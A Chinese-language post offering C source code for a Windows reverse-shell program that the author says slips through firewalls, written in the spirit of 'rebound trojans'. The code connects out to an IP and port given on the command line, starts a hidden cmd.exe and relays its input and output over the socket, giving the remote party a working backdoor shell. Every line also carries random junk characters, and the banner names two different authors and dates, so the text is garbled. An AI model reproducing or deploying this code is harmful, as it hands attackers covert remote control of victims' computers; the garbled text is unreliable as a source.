这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wj6u,+
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/* ============================== Imv#7{ndq
Rebound port in Windows NT @$jV"Y
By wind,2006/7 Os<E7l zqO
===============================*/ F6}RPk\=i
#include t~(jA9n
#include p=:Vpg<!
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#pragma comment(lib,"wsock32.lib") #DgHF*GG+>
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void OutputShell(); 94-BcN
SOCKET sClient; +4-T_m/W/
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Nbr$G=U
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void main(int argc,char **argv) o,WjM[e
{ 9" q-Bb
WSADATA stWsaData; hY.i`sp*/
int nRet; ],SQD3~9
SOCKADDR_IN stSaiClient,stSaiServer; Ysu\CZGX
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if(argc != 3) jh oA6I
{ fz^j3'!\
printf("Useage:\n\rRebound DestIP DestPort\n");
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return; _f0AV;S:vd
} t}eyfflZ
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WSAStartup(MAKEWORD(2,2),&stWsaData); K ~mUO
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y2I7Zd .
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stSaiClient.sin_family = AF_INET; O?X[&t
stSaiClient.sin_port = htons(0); +7b8 ye
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); mi] WZlg$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Wu{=QjgY
{ eMRH*MyD
printf("Bind Socket Failed!\n"); >>J3"XHX
return; 5(H%Ia
} j"nOxs
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stSaiServer.sin_family = AF_INET; bvtpqI QZ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _H]^7`;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]"_c-=
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]QaKXg)3q
{ dO82T3T
printf("Connect Error!"); LJ[zF~4#
return; e>z"{ u(F0
} :rL%,o"
OutputShell(); l?*DGW(t{
} Zkd{EMW
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void OutputShell() Q7uJ9Y{X
{ 96^aI1:
char szBuff[1024]; nW)+-Wxq
SECURITY_ATTRIBUTES stSecurityAttributes; /i"hViCrlG
OSVERSIONINFO stOsversionInfo; 1*8;)#%&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1@v<
STARTUPINFO stStartupInfo; <}J!_$A
char *szShell; 5e+j51
PROCESS_INFORMATION stProcessInformation; Q!P%duO
unsigned long lBytesRead; 6axxyh%
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Bg]VaTm[=
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^^V3nT2rR3
stSecurityAttributes.lpSecurityDescriptor = 0; vb=]00c
stSecurityAttributes.bInheritHandle = TRUE; ~Y/A]N86,
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); kK=VG<
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i]c{(gd`
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); jg?UwR&
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4"2%mx:
stStartupInfo.wShowWindow = SW_HIDE; G^Gs/-
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stStartupInfo.hStdInput = hReadPipe; U"7o;q
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X_2N9$},
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GetVersionEx(&stOsversionInfo); K(?V]Mxl6
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switch(stOsversionInfo.dwPlatformId) 9}6_B|
{ mEJ7e#
case 1: ]pvHsiI:
szShell = "command.com"; NAD^10
break; yF)J7a:U
default: zjUQ]
szShell = "cmd.exe"; Gt&yz"?D
break; %"f85VfZ
} 9Q1%+zjjMq
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ` &A`&-nc=
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send(sClient,szMsg,77,0); 1x_EAHZ>7
while(1) U:*rlA@_.
{ :Vxt2@p{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); fDs T@W,K
if(lBytesRead) >2s6Y
{ :=B.)]F.)
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); E.*hY+kGZ
send(sClient,szBuff,lBytesRead,0); vt5w(}v(
} wG)e8,#
else a
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{ %d+Fq=<
lBytesRead=recv(sClient,szBuff,1024,0); c
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if(lBytesRead<=0) break; yc*cT%?g
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9CS"s_
} *B3f ry
} $}(Z]z}O ;
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return; ^P9mJ:
}